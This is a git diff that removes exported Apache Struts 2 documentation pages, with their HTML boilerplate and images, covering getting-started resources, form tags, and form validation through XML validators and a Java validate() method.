-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Flying Solo</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="tutorials.html">Tutorials</a>&nbsp;&gt;&nbsp;<a href="bootstrap.html">Bootstrap</a>&nbsp;&gt;&nbsp;<a href="flying-solo.html">Flying Solo</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Flying Solo</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13984">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13984">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13984">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13984">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13984">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13984">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>There are several resources available to help you create your own applications, including QuickStart and the various example applications.</p>
-
-<h2 id="FlyingSolo-BrowsetheResources">Browse the Resources</h2>
-
-<p>There are online resources to help you along, every step of the way.</p>
-<ul><li><a shape="rect" class="external-link" href="http://struts.apache.org/downloads.html">Download the framework</a> - The full distribution includes sample applications, source code, and documentation.</li><li><a shape="rect" class="external-link" href="http://struts.apache.org/mail.html">Subscribe to Mailing List</a> and post a question, or browse Mail Archive. (You probably want to browse the archive or forum first.)</li><li><a shape="rect" class="external-link" href="http://svn.ap [...]
-
-
-<h2 id="FlyingSolo-Backto">Back to <a shape="rect" href="tutorials.html">Tutorials</a></h2></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/form-tags.html b/content/docs/form-tags.html
deleted file mode 100644
index 5db587a..0000000
--- a/content/docs/form-tags.html
+++ /dev/null
@@ -1,146 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Form Tags</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="tag-developers-guide.html">Tag Developers Guide</a>&nbsp;&gt;&nbsp;<a href="struts-tags.html">Struts Tags</a>&nbsp;&gt;&nbsp;<a href="ui-tags.html">UI Tags</a>&nbsp;&gt;&nbsp;<a href="form-tags.html">Form Tags</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Form Tags</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14230">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14230">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14230">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14230">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14230">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14230">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><rich-text-body><p>Please make sure you have read the <a shape="rect" href="tag-syntax.html">Tag Syntax</a> document and understand how tag attribute syntax works.</p></rich-text-body><p>Within the form tags, there are two classes of tags: the form tag itself, and all other tags, which make up the individual form elements. The behavior of the form tag is different than the elements enclosed within it.</p><h2 id="FormTags-FormTagThemes">Form Tag The [...]
-    &lt;@s.textfield label="Postal Code" name="postalCode" value="%{postalCode}"/&gt;
-    ...
-&lt;/@s.form&gt;
-</plain-text-body><p>However, since the tags imply a relationship between the <code>name</code> and <code>value</code>, the <code>value</code> attribute is optional. If a <code>value</code> is not specified, by default, the JavaBean accessor is used instead.</p><parameter ac:name="">xml</parameter><parameter ac:name="title">Populating a form for editing, the easy way</parameter><plain-text-body>&lt;@s.form action="updateAddress"&gt;
-    &lt;@s.textfield label="Postal Code" name="postalCode"/&gt;
-    ...
-&lt;/@s.form&gt;
-</plain-text-body><p>While most attributes are exposed to the underlying templates as the same key as the attribute (${parameters.label}), the <code>value</code> attribute is not. Instead, it can be accessed via the <code>nameValue</code> key (${parameters.nameValue}). The <code>nameValue</code> key indicates that the value may have been generated from the <code>name</code> attribute rather than explicitly defined in the <code>value</code> attribute.</p><h2 id="FormTags-IDNameAssignment" [...]
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/form-validation-using-xml.data/form-validation-1.png b/content/docs/form-validation-using-xml.data/form-validation-1.png
deleted file mode 100644
index 226cc1c..0000000
Binary files a/content/docs/form-validation-using-xml.data/form-validation-1.png and /dev/null differ
diff --git a/content/docs/form-validation-using-xml.data/form-validation-2.png b/content/docs/form-validation-using-xml.data/form-validation-2.png
deleted file mode 100644
index 16afdaa..0000000
Binary files a/content/docs/form-validation-using-xml.data/form-validation-2.png and /dev/null differ
diff --git a/content/docs/form-validation-using-xml.data/form-validation-3.png b/content/docs/form-validation-using-xml.data/form-validation-3.png
deleted file mode 100644
index ecb5912..0000000
Binary files a/content/docs/form-validation-using-xml.data/form-validation-3.png and /dev/null differ
diff --git a/content/docs/form-validation-using-xml.html b/content/docs/form-validation-using-xml.html
deleted file mode 100644
index 566f6dc..0000000
--- a/content/docs/form-validation-using-xml.html
+++ /dev/null
@@ -1,195 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Form Validation Using XML</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="tutorials.html">Tutorials</a>&nbsp;&gt;&nbsp;<a href="getting-started.html">Getting Started</a>&nbsp;&gt;&nbsp;<a href="form-validation-using-xml.html">Form Validation Using XML</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Form Validation Using XML</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=20644608">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=20644608">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=20644608">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=20644608">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=20644608">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=20644608">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><div class="confluence-information-macro confluence-information-macro-information"><span class="aui-icon aui-icon-small aui-iconfont-info confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>The example code for this tutorial, form_xml_validation, is available for checkout at <a shape="rect" class="external-link" href="https://github.com/apache/struts-examples" rel="nofollow">https://github.com/apache/struts-e [...]
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">&lt;!DOCTYPE validators PUBLIC "-//Apache Struts//XWork Validator 1.0.3//EN"
- "http://struts.apache.org/dtds/xwork-validator-1.0.3.dtd"&gt;
-
-&lt;validators&gt;
- &lt;validator type="requiredstring"&gt;
- 	&lt;param name="fieldname"&gt;personBean.firstName&lt;/param&gt;
- 	&lt;message&gt;First name is required.&lt;/message&gt;
- &lt;/validator&gt;
-&lt;/validators&gt;
-
-</pre>
-</div></div><p>Within the validators node you can have 1 or more validator nodes. The type attribute specifies which validator you want the Struts 2 framework to use (see <a shape="rect" href="validation.html">Validation</a>). The param name="fieldname" node is used to tell the framework which form field entry to apply the rule to. See edit.jsp for the form fields and their name value (review <a shape="rect" href="struts-2-form-tags.html">Struts 2 Form Tags</a> if you're not familiar wit [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;"> &lt;validator type="requiredstring"&gt;
- 	&lt;param name="fieldname"&gt;personBean.email&lt;/param&gt;
- 	&lt;message&gt;Email address is required.&lt;/message&gt;
- &lt;/validator&gt;
- &lt;validator type="email"&gt;
- 	&lt;param name="fieldname"&gt;personBean.email&lt;/param&gt;
- 	&lt;message&gt;Email address not valid.&lt;/message&gt;
- &lt;/validator&gt;
-
-</pre>
-</div></div><p>Note that in the example, we are requiring the user to enter an email address and then validating the email address the user entered.</p><h3 id="FormValidationUsingXML-ValidatingAUser'sInputUsingARegularExpression">Validating A User's Input Using A Regular Expression</h3><p>The Struts 2 framework provides a powerful way to validate a user's form field input by using the <a shape="rect" href="regex-validator.html">regex validator</a>. In the example application, we want to  [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;validator type="requiredstring"&gt;
- 	&lt;param name="fieldname"&gt;personBean.phoneNumber&lt;/param&gt;
- 	&lt;message&gt;Phone number is required.&lt;/message&gt;
- &lt;/validator&gt;
-&lt;validator type="regex"&gt;
-	&lt;param name="fieldname"&gt;personBean.phoneNumber&lt;/param&gt;
-	&lt;param name="regex"&gt;&lt;![CDATA[\d{3}-\d{3}-\d{4}]]&gt;&lt;/param&gt;
-	&lt;message&gt;Phone number must be entered as 999-999-9999.&lt;/message&gt;
-&lt;/validator&gt;
-
-</pre>
-</div></div><p>The param name="expression" node is used to specify the regular expression that will be applied to the user's input. Note how the regular expression is contained within a CDATA section.</p><h3 id="FormValidationUsingXML-ValidatingAUser'sInputUsingAnOGNLExpression">Validating A User's Input Using An OGNL Expression</h3><p>In the example application, we want to ensure the user checks at least one of the car model check boxes. To enforce this rule we can use the <a shape="rec [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;validator type="fieldexpression"&gt;
-	&lt;param name="fieldname"&gt;personBean.carModels&lt;/param&gt;
-	&lt;param name="expression"&gt;&lt;![CDATA[personBean.carModels.length &gt; 0]]&gt;&lt;/param&gt;
-	&lt;message&gt;You must select at least one car model.&lt;/message&gt;
-&lt;/validator&gt;
-
-</pre>
-</div></div><p>The param name="expression" node contains an OGNL expression that evaluates to true or false. We haven't previously discussed OGNL, which stands for Object-Graph Navigation Language (see <a shape="rect" class="external-link" href="http://www.opensymphony.com/ognl/" rel="nofollow">http://www.opensymphony.com/ognl/</a> and <a shape="rect" href="ognl.html">OGNL</a>). OGNL expressions can be evaluated by the Struts 2 framework as Java statements.</p><p>In the above XML the val [...]
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/form-validation.data/form_errors.png b/content/docs/form-validation.data/form_errors.png
deleted file mode 100644
index c135558..0000000
Binary files a/content/docs/form-validation.data/form_errors.png and /dev/null differ
diff --git a/content/docs/form-validation.data/form_errors_styled.png b/content/docs/form-validation.data/form_errors_styled.png
deleted file mode 100644
index c7be09a..0000000
Binary files a/content/docs/form-validation.data/form_errors_styled.png and /dev/null differ
diff --git a/content/docs/form-validation.data/form_errors_sytled.png b/content/docs/form-validation.data/form_errors_sytled.png
deleted file mode 100644
index 20c2ee7..0000000
Binary files a/content/docs/form-validation.data/form_errors_sytled.png and /dev/null differ
diff --git a/content/docs/form-validation.html b/content/docs/form-validation.html
deleted file mode 100644
index a96a9e0..0000000
--- a/content/docs/form-validation.html
+++ /dev/null
@@ -1,195 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Form Validation</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="tutorials.html">Tutorials</a>&nbsp;&gt;&nbsp;<a href="getting-started.html">Getting Started</a>&nbsp;&gt;&nbsp;<a href="how-to-create-a-struts-2-web-application.html">How To Create A Struts 2 Web Application</a>&nbsp;&gt;&nbsp;<a href="create-struts-2-web-application-with-artifacts-in-web-inf-lib-and-use-ant-to-build-the-application.html">Create Struts 2 Web Application With Artifacts In WEB-INF lib and Use Ant To Bui [...]
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Form Validation</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14811892">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14811892">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14811892">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14811892">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14811892">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14811892">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><div class="confluence-information-macro confluence-information-macro-information"><span class="aui-icon aui-icon-small aui-iconfont-info confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>This tutorial assumes you've completed the <a shape="rect" href="processing-forms.html">Processing Forms</a> tutorial and have a working form_processing project. The example code for this tutorial, form_validation, is avai [...]
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">	public void validate(){
-		
-		if ( personBean.getFirstName().length() == 0 ){	
-
-			addFieldError( "personBean.firstName", "First name is required." );
-			
-		}
-		
-				
-		if ( personBean.getEmail().length() == 0 ){	
-
-			addFieldError( "personBean.email", "Email is required." );
-			
-		}
-		
-		if ( personBean.getAge() &lt; 18 ){	
-
-			addFieldError( "personBean.age", "Age is required and must be 18 or older" );
-			
-		}
-		
-		
-	}
-</pre>
-</div></div><p>When the user presses the submit button on the register form, Struts 2 will transfer the user's input to the personBean's instance fields. Then Struts 2 will automatically execute the validate method. If any of the if statements are true, Struts 2 will call its addFieldError method (which our Action class inherited by extending ActionSupport).</p><p>If any errors have been added then Struts 2 will not proceed to call the execute method. Rather the Struts 2 framework will r [...]
